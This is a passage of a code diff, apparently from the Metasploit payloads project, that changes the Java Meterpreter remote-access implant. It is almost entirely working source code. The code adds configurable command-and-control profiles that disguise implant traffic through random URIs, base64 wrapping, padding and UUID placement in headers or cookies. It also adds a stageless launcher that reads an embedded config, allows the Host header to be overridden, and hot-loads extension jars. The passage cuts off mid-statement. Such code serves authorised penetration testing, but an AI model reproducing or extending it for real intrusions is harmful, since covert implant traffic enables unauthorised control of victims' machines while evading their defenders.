dprintf("[DISPATCH] Configured URI: %S", tmpUrlPath); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); diff --git a/java/Makefile b/java/Makefile index 21021f485..2e0a1b5b4 100644 --- a/java/Makefile +++ b/java/Makefile @@ -2,6 +2,8 @@ ADB=${ANDROID_HOME}/platform-tools/adb ANDROID=${ANDROID_HOME}/tools/android PACKAGE=com.metasploit.stage +DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest + all: android android: @@ -10,6 +12,14 @@ android: java: mvn package +# Build the Java Meterpreter inside the official build container (no local +# JDK/Maven required). Only the metasploit-payloads checkout is mounted, and +# build artifacts are chowned back to the invoking user. The resulting jars +# land in meterpreter/meterpreter/target and meterpreter/stdapi/target. +docker: + docker run --rm -v "$(CURDIR)/..":/mp -w /mp/java $(DOCKER_CONTAINER) \ + bash -c "mvn -q package; rc=$$?; chown -R $(shell id -u):$(shell id -g) /mp/java; exit $$rc" + clean: mvn clean -Dandroid.sdk.path=/ diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java index f703aeab4..5aeaf9d2a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java @@ -11,6 +11,7 @@ import com.metasploit.meterpreter.stdapi.*; import com.metasploit.stage.Config; +import com.metasploit.stage.ConfigParser; import java.io.DataInputStream; import java.io.File; @@ -80,7 +81,9 @@ public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Object[] para writeableDir = (String)parameters[0]; byte[] config = (byte[]) parameters[1]; - boolean stageless = (config != null && (config[0] & Config.FLAG_STAGELESS) != 0); + Config parsedConfig = (config != null) ? ConfigParser.parseConfig(config) : null; + boolean stageless = (parsedConfig != null + && (parsedConfig.flags & Config.FLAG_STAGELESS) != 0); if (stageless) { loadConfiguration(in, rawOut, config); diff --git a/java/meterpreter/meterpreter/pom.xml b/java/meterpreter/meterpreter/pom.xml index 3bdc43660..c13249d57 100644 --- a/java/meterpreter/meterpreter/pom.xml +++ b/java/meterpreter/meterpreter/pom.xml @@ -43,6 +43,12 @@ com.metasploit:Metasploit-Java-Shared + + + + com.metasploit.meterpreter.StagelessMain + + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 87f3add09..5fa536f60 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -3,21 +3,30 @@ import com.metasploit.TLVPacket; import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; +import com.metasploit.stage.C2VerbConfig; import com.metasploit.stage.HttpConnection; import com.metasploit.stage.PayloadTrustManager; import com.metasploit.stage.TransportConfig; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.EOFException; import java.io.IOException; import java.io.OutputStream; +import java.net.InetSocketAddress; import java.net.MalformedURLException; +import java.net.Proxy; import java.net.URL; import java.net.URLConnection; public class HttpTransport extends Transport { + private static final int C2_ENCODING_NONE = 0; + private static final int C2_ENCODING_B64 = 1; + private static final int C2_ENCODING_B64URL = 2; + private URL targetUrl = null; private URL nextUrl = null; private String userAgent; @@ -26,6 +35,9 @@ public class HttpTransport extends Transport { private String proxyPass; private String customHeaders; private byte[] certHash; + private String c2Uuid; + private C2VerbConfig c2Get; + private C2VerbConfig c2Post; public HttpTransport(Meterpreter met, String url) throws MalformedURLException { super(met, url); @@ -40,6 +52,9 @@ public HttpTransport(Meterpreter met, String url, TransportConfig transportConfi proxyPass = transportConfig.proxy_pass; certHash = transportConfig.cert_hash; customHeaders = transportConfig.custom_headers; + c2Uuid = transportConfig.c2_uuid; + c2Get = transportConfig.c2Get; + c2Post = transportConfig.c2Post; setTimeouts(transportConfig); } @@ -50,6 +65,11 @@ public void bind(DataInputStream in, OutputStream rawOut) { @Override public boolean patchUuid(String uuid) { + // MC2 mode: only swap the UUID; the profile rebuilds the URL. + this.c2Uuid = uuid; + if (this.c2Get != null || this.c2Post != null) { + return true; + } try { // can't use getAuthority() here thanks to java 1.2. Ugh. String newUrl = this.targetUrl.getProtocol() + "://" @@ -64,6 +84,10 @@ public boolean patchUuid(String uuid) { } } + public void setC2Uuid(String c2Uuid) { + this.c2Uuid = c2Uuid; + } + public String getUserAgent() { return this.userAgent; } @@ -108,13 +132,33 @@ public String getCustomHeaders() { return this.customHeaders; } + public void setCustomHeaders(String customHeaders) { + this.customHeaders = customHeaders; + } + + public C2VerbConfig getC2Get() { + return this.c2Get; + } + + public void setC2Get(C2VerbConfig c2Get) { + this.c2Get = c2Get; + } + + public C2VerbConfig getC2Post() { + return this.c2Post; + } + + public void setC2Post(C2VerbConfig c2Post) { + this.c2Post = c2Post; + } + @Override public void disconnect() { } @Override protected boolean tryConnect(Meterpreter met) throws IOException { - URLConnection conn = this.createConnection(); + URLConnection conn = this.createGetConnection(); if (conn == null) { return false; @@ -123,9 +167,17 @@ protected boolean tryConnect(Meterpreter met) throws IOException { DataInputStream inputStream = new DataInputStream(conn.getInputStream()); try { - TLVPacket request = this.readAndDecodePacket(inputStream); + byte[] rawResponse = readAllBytes(inputStream); inputStream.close(); + byte[] decoded = decodeResponse(rawResponse, this.c2Get); + if (decoded.length == 0) { + // reconnect scenario - empty response + return true; + } + + TLVPacket request = this.readAndDecodePacket(new DataInputStream(new ByteArrayInputStream(decoded))); + // things are looking good, handle the packet and return true, as this // is the situation that happens on initial connect (not reconnect) TLVPacket response = request.createResponse(); @@ -150,7 +202,7 @@ protected boolean tryConnect(Meterpreter met) throws IOException { @Override public TLVPacket readPacket() throws IOException { - URLConnection conn = this.createConnection(); + URLConnection conn = this.createGetConnection(); if (conn == null) { return null; @@ -159,9 +211,15 @@ public TLVPacket readPacket() throws IOException { DataInputStream inputStream = new DataInputStream(conn.getInputStream()); try { - TLVPacket request = this.readAndDecodePacket(inputStream); + byte[] rawResponse = readAllBytes(inputStream); inputStream.close(); - return request; + + byte[] decoded = decodeResponse(rawResponse, this.c2Get); + if (decoded.length == 0) { + return null; + } + + return this.readAndDecodePacket(new DataInputStream(new ByteArrayInputStream(decoded))); } catch (EOFException ignored) { } @@ -171,7 +229,15 @@ public TLVPacket readPacket() throws IOException { @Override public void writePacket(TLVPacket packet, int type) throws IOException { - URLConnection conn = this.createConnection(); + // Encode the packet to raw bytes first + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream tempOut = new DataOutputStream(baos); + this.encodePacketAndWrite(packet, type, tempOut); + byte[] packetBytes = baos.toByteArray(); + + byte[] body = encodeRequest(packetBytes, this.c2Post); + + URLConnection conn = this.createPostConnection(); if (conn == null) { return; @@ -179,15 +245,14 @@ public void writePacket(TLVPacket packet, int type) throws IOException { conn.setDoOutput(true); DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream()); - this.encodePacketAndWrite(packet, type, outputStream); + outputStream.write(body); outputStream.close(); DataInputStream inputStream = new DataInputStream(conn.getInputStream()); try { - this.readAndDecodePacket(inputStream); - // not really worried about the response, we just want to read a packet out of it - // and move on + // read and discard the response + readAllBytes(inputStream); inputStream.close(); } catch (EOFException ex) { @@ -250,28 +315,313 @@ private void useNextUrl() { } } - private URLConnection createConnection() { - URLConnection conn = null; + private String getUuidFromUrl() { + if (this.c2Uuid != null && this.c2Uuid.length() > 0) { + return this.c2Uuid; + } + String path = this.targetUrl.getPath(); + if (path == null || path.length() <= 1) { + return ""; + } + path = path.substring(1); + if (path.endsWith("/")) { + path = path.substring(0, path.length() - 1); + } + int lastSlash = path.lastIndexOf('/'); + return (lastSlash >= 0) ? path.substring(lastSlash + 1) : path; + } + + /** + * Apply the profile's UUID transform (encode + prepend + append) to the + * raw UUID before placement. Returns the rendered string, or "" for empty + * input. + */ + private static String renderUuid(C2VerbConfig profile, String uuid) { + if (uuid == null || uuid.length() == 0) { + return ""; + } + if (profile == null) { + return uuid; + } + byte[] encoded = c2Encode(uuid.getBytes(), profile.encUuid); + String body = new String(encoded); // base64/base64url output is ASCII + String prefix = profile.uuidPrefix != null ? profile.uuidPrefix : ""; + String suffix = profile.uuidSuffix != null ? profile.uuidSuffix : ""; + return prefix + body + suffix; + } + private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { + if (profile == null || profile.uris == null || profile.uris.length == 0) { + return this.targetUrl; + } + + String baseUrl = this.targetUrl.getProtocol() + "://" + + this.targetUrl.getHost() + ":" + + this.targetUrl.getPort(); + + // Pick one of the profile's candidate URIs at random per request. + String uri = profile.uris[(int)(Math.random() * profile.uris.length)]; + if (!uri.startsWith("/")) { + uri = "/" + uri; + } + + String fullUrl = baseUrl + uri; + String renderedUuid = renderUuid(profile, getUuidFromUrl()); + + if (profile.uuidGet != null) { + if (renderedUuid.length() > 0) { + String separator = fullUrl.indexOf('?') >= 0 ? "&" : "?"; + fullUrl = fullUrl + separator + profile.uuidGet + "=" + renderedUuid; + } + } else if (profile.uuidHeader == null && profile.uuidCookie == null) { + // No param/header/cookie placement => carry the id in the URI path. + if (renderedUuid.length() > 0) { + if (fullUrl.endsWith("/")) { + fullUrl = fullUrl.substring(0, fullUrl.length() - 1); + } + fullUrl = fullUrl + "/" + renderedUuid; + } + } + + return new URL(fullUrl); + } + + private void applyProfileHeaders(URLConnection conn, C2VerbConfig profile) { + if (profile == null) { + return; + } + if (profile.uuidHeader != null) { + String uuid = renderUuid(profile, getUuidFromUrl()); + if (uuid.length() > 0) { + conn.addRequestProperty(profile.uuidHeader, uuid); + } + } + if (profile.uuidCookie != null) { + String uuid = renderUuid(profile, getUuidFromUrl()); + if (uuid.length() > 0) { + conn.addRequestProperty("Cookie", profile.uuidCookie + "=" + uuid); + } + } + } + + private Proxy buildProxy() { + if (proxyUrl == null || proxyUrl.length() == 0) { + return null; + } + try { + URL p = new URL(proxyUrl); + int port = p.getPort(); + if (port < 0) { + port = "https".equals(p.getProtocol()) ? 443 : 80; + } + return new Proxy(Proxy.Type.HTTP, new InetSocketAddress(p.getHost(), port)); + } + catch (MalformedURLException ex) { + return null; + } + } + + private void applyProxyAuth(URLConnection conn) { + if (proxyUser == null || proxyUser.length() == 0) { + return; + } + String pass = (proxyPass != null) ? proxyPass : ""; + byte[] creds; try { - conn = this.targetUrl.openConnection(); + creds = (proxyUser + ":" + pass).getBytes("US-ASCII"); + } catch (java.io.UnsupportedEncodingException ex) { + creds = (proxyUser + ":" + pass).getBytes(); + } + byte[] encoded = base64Encode(creds, B64_CHARS, true); + try { + conn.setRequestProperty("Proxy-Authorization", "Basic " + new String(encoded, "US-ASCII")); + } catch (java.io.UnsupportedEncodingException ex) { + conn.setRequestProperty("Proxy-Authorization", "Basic " + new String(encoded)); + } + } + + private URLConnection openConnection(URL url) throws IOException { + Proxy proxy = buildProxy(); + return (proxy != null) ? url.openConnection(proxy) : url.openConnection(); + } + + private URLConnection createGetConnection() { + try { + URL url = buildProfileUrl(this.c2Get); + URLConnection conn = openConnection(url); HttpConnection.addRequestHeaders(conn, customHeaders, userAgent); + applyProfileHeaders(conn, this.c2Get); + applyProxyAuth(conn); - if (this.targetUrl.getProtocol().equals("https")) { + if (url.getProtocol().equals("https")) { try { PayloadTrustManager.useFor(conn, certHash); } catch (Exception ex) { - // perhaps log? } } + return conn; } catch (IOException ex) { - if (conn != null) { - conn = null; + return null; + } + } + + private URLConnection createPostConnection() { + try { + URL url = buildProfileUrl(this.c2Post); + URLConnection conn = openConnection(url); + HttpConnection.addRequestHeaders(conn, customHeaders, userAgent); + applyProfileHeaders(conn, this.c2Post); + applyProxyAuth(conn); + + if (url.getProtocol().equals("https")) { + try { + PayloadTrustManager.useFor(conn, certHash); + } catch (Exception ex) { + } } + return conn; + } + catch (IOException ex) { + return null; } + } - return conn; + private static final char[] B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray(); + private static final char[] B64URL_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".toCharArray(); + + private static byte[] base64Encode(byte[] data, char[] alphabet, boolean pad) { + int len = data.length; + int outLen = ((len + 2) / 3) * 4; + char[] out = new char[outLen]; + int i = 0, j = 0; + while (i < len) { + int b0 = data[i++] & 0xFF; + int b1 = (i < len) ? (data[i++] & 0xFF) : 0; + int b2 = (i < len) ? (data[i++] & 0xFF) : 0; + int triplet = (b0 << 16) | (b1 << 8) | b2; + out[j++] = alphabet[(triplet >> 18) & 0x3F]; + out[j++] = alphabet[(triplet >> 12) & 0x3F]; + out[j++] = alphabet[(triplet >> 6) & 0x3F]; + out[j++] = alphabet[triplet & 0x3F]; + } + int padding = (3 - (len % 3)) % 3; + if (pad) { + for (int p = 0; p < padding; p++) { + out[outLen - 1 - p] = '='; + } + } + String result = new String(out, 0, pad ? outLen : outLen - padding); + try { + return result.getBytes("US-ASCII"); + } catch (java.io.UnsupportedEncodingException e) { + return result.getBytes(); + } } -} + private static byte[] base64Decode(byte[] data) { + // Build reverse lookup — works for both standard and URL-safe alphabets + int[] lookup = new int[128]; + for (int i = 0; i < 128; i++) lookup[i] = -1; + for (int i = 0; i < B64_CHARS.length; i++) lookup[B64_CHARS[i]] = i; + lookup['-'] = 62; + lookup['_'] = 63; + + // Strip padding and whitespace + int len = data.length; + while (len > 0 && (data[len - 1] == '=' || data[len - 1] == '\n' || data[len - 1] == '\r')) { + len--; + } + + int outLen = (len * 3) / 4; + byte[] out = new byte[outLen]; + int i = 0, j = 0; + while (i < len) { + int b0 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int b1 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int b2 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int b3 = (i < len) ? lookup[data[i++] & 0x7F] : 0; + int triplet = (b0 << 18) | (b1 << 12) | (b2 << 6) | b3; + if (j < outLen) out[j++] = (byte)((triplet >> 16) & 0xFF); + if (j < outLen) out[j++] = (byte)((triplet >> 8) & 0xFF); + if (j < outLen) out[j++] = (byte)(triplet & 0xFF); + } + return out; + } + + private static byte[] c2Encode(byte[] data, int enc) { + if (enc == C2_ENCODING_B64) { + return base64Encode(data, B64_CHARS, true); + } else if (enc == C2_ENCODING_B64URL) { + return base64Encode(data, B64URL_CHARS, false); + } + return data; + } + + private static byte[] c2Decode(byte[] data, int enc) { + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { + return base64Decode(data); + } + return data; + } + + private static byte[] decodeResponse(byte[] rawResponse, C2VerbConfig profile) { + if (rawResponse == null || rawResponse.length == 0) { + return new byte[0]; + } + + if (profile == null) { + return rawResponse; + } + + int start = profile.prefixSkip; + int end = rawResponse.length - profile.suffixSkip; + if (start >= end || start < 0 || end > rawResponse.length) { + return rawResponse; + } + + byte[] stripped = new byte[end - start]; + System.arraycopy(rawResponse, start, stripped, 0, stripped.length); + + return c2Decode(stripped, profile.encInbound); + } + + private static byte[] encodeRequest(byte[] data, C2VerbConfig profile) { + if (profile == null) { + return data; + } + + byte[] encoded = c2Encode(data, profile.encOutbound); + + byte[] prefix = profile.prefix; + byte[] suffix = profile.suffix; + + if ((prefix == null || prefix.length == 0) && (suffix == null || suffix.length == 0)) { + return encoded; + } + + int prefixLen = (prefix != null) ? prefix.length : 0; + int suffixLen = (suffix != null) ? suffix.length : 0; + byte[] result = new byte[prefixLen + encoded.length + suffixLen]; + + if (prefixLen > 0) { + System.arraycopy(prefix, 0, result, 0, prefixLen); + } + System.arraycopy(encoded, 0, result, prefixLen, encoded.length); + if (suffixLen > 0) { + System.arraycopy(suffix, 0, result, prefixLen + encoded.length, suffixLen); + } + + return result; + } + + private static byte[] readAllBytes(DataInputStream in) throws IOException { + ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + byte[] chunk = new byte[4096]; + int bytesRead; + while ((bytesRead = in.read(chunk)) != -1) { + buffer.write(chunk, 0, bytesRead); + } + return buffer.toByteArray(); + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index edfc15c84..24687b7c7 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; +import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.io.PrintStream; @@ -43,15 +44,10 @@ public class Meterpreter { private byte[] uuid; private byte[] sessionGUID; private long sessionExpiry; + private JarFileClassLoader extensionLoader; protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configBlock) throws MalformedURLException { - byte[] configHandle = new byte[8]; - byte[] configPacket = new byte[configBlock.length - configHandle.length]; - - System.arraycopy(configBlock, 0, configHandle, 0, configHandle.length); - System.arraycopy(configBlock, configHandle.length, configPacket, 0, configPacket.length); - - Config config = ConfigParser.parseConfig(configPacket); + Config config = ConfigParser.parseConfig(configBlock); if (config == null) { return; } @@ -59,6 +55,15 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] this.uuid = config.uuid; this.sessionGUID = config.session_guid; + if (config.debug_log != null && config.debug_log.length() > 0) { + try { + PrintStream debugStream = new PrintStream(new FileOutputStream(config.debug_log, true)); + System.setErr(debugStream); + } catch (IOException ignored) { + // failed to open log file; carry on without debug logging + } + } + // here we need to loop through all the given transports, we know that we're // going to get at least one. for (TransportConfig transportConfig : config.transportConfigList) { @@ -74,8 +79,15 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] this.transports.add(t); } - // we don't currently support extensions, so when we reach the end of the - // list of transports we just bomb out. + // Hot-load extensions baked into the config block (EXTENSIONS=) so + // their commands are registered before the first C2 dispatch. + for (byte[] extData : config.extensions) { + try { + loadExtension(extData); + } catch (Throwable t) { + t.printStackTrace(System.err); + } + } } public byte[] getUUID() { @@ -168,6 +180,32 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio } } + /** + * Initialize the meterpreter from an embedded config block. No upstream + * stream is consumed; transports open their own connections. + * + * @param configBlock Raw TLV configuration bytes + * @param loadExtensions Whether to load extension jars + * @param redirectErrors Whether to redirect errors to the internal buffer + */ + public Meterpreter(byte[] configBlock, boolean loadExtensions, boolean redirectErrors) throws Exception { + this.loadExtensions = loadExtensions; + this.commandManager = new CommandManager(); + this.channels.add(null); + + if (redirectErrors) { + errBuffer = new ByteArrayOutputStream(); + err = new PrintStream(errBuffer); + } else { + errBuffer = null; + err = System.err; + } + + loadConfiguration(null, null, configBlock); + this.ignoreBlocks = 0; + startExecuting(); + } + public TransportList getTransports() { return this.transports; } @@ -301,7 +339,21 @@ public void writeRequestPacket(int commandId, TLVPacket tlv) throws IOException public Integer[] loadExtension(byte[] data) throws Exception { ClassLoader classLoader = getClass().getClassLoader(); if (loadExtensions) { - JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader; + // Staged payloads bootstrap us through a JarFileClassLoader so + // this.getClass().getClassLoader() is already one. The stageless + // jar runs under the JVM's AppClassLoader, so create our own + // JarFileClassLoader on first load and reuse it across calls so + // previously-loaded extensions stay reachable. + JarFileClassLoader jarLoader; + if (classLoader instanceof JarFileClassLoader) { + jarLoader = (JarFileClassLoader) classLoader; + } else { + if (extensionLoader == null) { + extensionLoader = new JarFileClassLoader(classLoader); + } + jarLoader = extensionLoader; + classLoader = jarLoader; + } jarLoader.addJarFile(data); } JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data)); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java new file mode 100644 index 000000000..dbbe1f692 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java @@ -0,0 +1,38 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; + +/** + * Entry point for stageless Java meterpreter payloads. Reads the embedded + * TLV config block from a jar resource and hands it to the Meterpreter + * constructor; transports open their own connections from there. + */ +public class StagelessMain { + + private static final String CONFIG_RESOURCE = "/META-INF/data"; + + public static void main(String[] args) throws Exception { + // Allow MC2 profiles to override restricted HTTP headers (Host, + // Connection, Content-Length, ...). Must run before any + // HttpURLConnection is touched so HttpURLConnection's static + // initializer reads this property. + System.setProperty("sun.net.http.allowRestrictedHeaders", "true"); + + InputStream cfg = StagelessMain.class.getResourceAsStream(CONFIG_RESOURCE); + if (cfg == null) { + throw new RuntimeException("no embedded config block"); + } + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + try { + byte[] chunk = new byte[4096]; + int n; + while ((n = cfg.read(chunk)) != -1) { + buf.write(chunk, 0, n); + } + } finally { + cfg.close(); + } + new Meterpreter(buf.toByteArray(), true, true); + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index d18d4411b..575dc4f26 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -7,6 +7,9 @@ import com.metasploit.meterpreter.TcpTransport; import com.metasploit.meterpreter.HttpTransport; import com.metasploit.meterpreter.command.Command; +import com.metasploit.stage.C2VerbConfig; + +import java.util.List; public class core_transport_add implements Command { @@ -24,7 +27,13 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons h.setProxyUrl(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL, "")); h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, "")); h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); + h.setCustomHeaders(request.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, "")); h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); + h.setC2Uuid(request.getStringValue(TLVType.TLV_TYPE_C2_UUID, null)); + + // Parse C2 profile GET/POST sub-groups if present + h.setC2Get(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_GET)); + h.setC2Post(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_POST)); t = h; } @@ -66,5 +75,33 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons return ERROR_SUCCESS; } -} + private static C2VerbConfig parseC2VerbGroup(TLVPacket request, int groupType) { + TLVPacket verbGroup; + try { + verbGroup = (TLVPacket) request.getValue(groupType); + } catch (IllegalArgumentException e) { + return null; + } + + C2VerbConfig config = new C2VerbConfig(); + // A profile's `set uri` may list several candidate URIs, emitted as + // repeated TLV_TYPE_C2_URI values. Collect them all; the request + // builder picks one at random per request (Cobalt Strike semantics). + List uriValues = verbGroup.getValues(TLVType.TLV_TYPE_C2_URI); + config.uris = (String[]) uriValues.toArray(new String[0]); + config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0)); + config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0)); + config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0)); + config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null); + config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null); + config.uuidPrefix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_PREFIX, ""); + config.uuidSuffix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_SUFFIX, ""); + config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0)); + config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0)); + config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null); + config.uuidHeader = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_HEADER, null); + config.uuidCookie = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_COOKIE, null); + return config; + } +} diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java index 4d4c28e01..547ec9bf0 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java @@ -88,13 +88,18 @@ public interface TLVType { public static final int TLV_TYPE_C2_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 717; // Expected SSL certificate hash public static final int TLV_TYPE_C2_PREFIX = TLVPacket.TLV_META_TYPE_RAW | 718; // Data to prepend to the outgoing payload public static final int TLV_TYPE_C2_SUFFIX = TLVPacket.TLV_META_TYPE_RAW | 719; // Data to append to the outgoing payload - public static final int TLV_TYPE_C2_ENC = TLVPacket.TLV_META_TYPE_UINT | 720; // Request encoding flags (Base64|URL|Base64url) + public static final int TLV_TYPE_C2_ENC_INBOUND = TLVPacket.TLV_META_TYPE_UINT | 720; // Server->client (response) body encoding public static final int TLV_TYPE_C2_PREFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 721; // Size of prefix to skip (in bytes) public static final int TLV_TYPE_C2_SUFFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 722; // Size of suffix to skip (in bytes) public static final int TLV_TYPE_C2_UUID_COOKIE = TLVPacket.TLV_META_TYPE_STRING | 723; // Name of the cookie to put the UUID in public static final int TLV_TYPE_C2_UUID_GET = TLVPacket.TLV_META_TYPE_STRING | 724; // Name of the GET parameter to put the UUID in public static final int TLV_TYPE_C2_UUID_HEADER = TLVPacket.TLV_META_TYPE_STRING | 725; // Name of the header to put the UUID in public static final int TLV_TYPE_C2_UUID = TLVPacket.TLV_META_TYPE_STRING | 726; // string representation of the UUID for C2s + public static final int TLV_TYPE_SESSION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 727; // session-level configuration flags (FLAG_STAGELESS, FLAG_DEBUG, FLAG_WAKELOCK, FLAG_HIDE_APP_ICON) + public static final int TLV_TYPE_C2_ENC_OUTBOUND = TLVPacket.TLV_META_TYPE_UINT | 728; // Client->server (request) body encoding (POST only) + public static final int TLV_TYPE_C2_ENC_UUID = TLVPacket.TLV_META_TYPE_UINT | 729; // Encoding applied to the UUID before placement + public static final int TLV_TYPE_C2_UUID_PREFIX = TLVPacket.TLV_META_TYPE_STRING | 730; // String to prepend to the encoded UUID + public static final int TLV_TYPE_C2_UUID_SUFFIX = TLVPacket.TLV_META_TYPE_STRING | 731; // String to append to the encoded UUID // Fs public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java new file mode 100644 index 000000000..d18e9292a --- /dev/null +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java @@ -0,0 +1,19 @@ +package com.metasploit.stage; + +public class C2VerbConfig { + + public String[] uris; // candidate request URIs; one chosen at random per request + public int encInbound; // server->client (response body) encoding + public int encOutbound; // client->server (request body, POST only) encoding + public int encUuid; // encoding applied to the UUID before placement + public byte[] prefix; + public byte[] suffix; + public String uuidPrefix; // string prepended to the (encoded) UUID + public String uuidSuffix; // string appended to the (encoded) UUID + public int prefixSkip; + public int suffixSkip; + public String uuidGet; + public String uuidHeader; + public String uuidCookie; + +} diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java index c6ca94449..4c2832b7f 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java @@ -17,7 +17,13 @@ public class Config { public long session_expiry; public byte[] uuid; public byte[] session_guid; + public String debug_log; public List transportConfigList = new LinkedList(); + // Raw extension jar bytes from any TLV_TYPE_EXTENSION groups in the + // config block (EXTENSIONS=). Hot-loaded after Meterpreter starts so + // commands are registered before the first C2 dispatch. + public List extensions = new LinkedList(); + } diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index bb2c801f5..e60b9be18 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -22,6 +22,8 @@ public static Config parseConfig(byte[] configBytes) { config.session_expiry = MS * configPacket.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); config.uuid = configPacket.getRawValue(TLVType.TLV_TYPE_UUID); config.session_guid = configPacket.getRawValue(TLVType.TLV_TYPE_SESSION_GUID); + config.debug_log = configPacket.getStringValue(TLVType.TLV_TYPE_DEBUG_LOG, null); + config.flags = 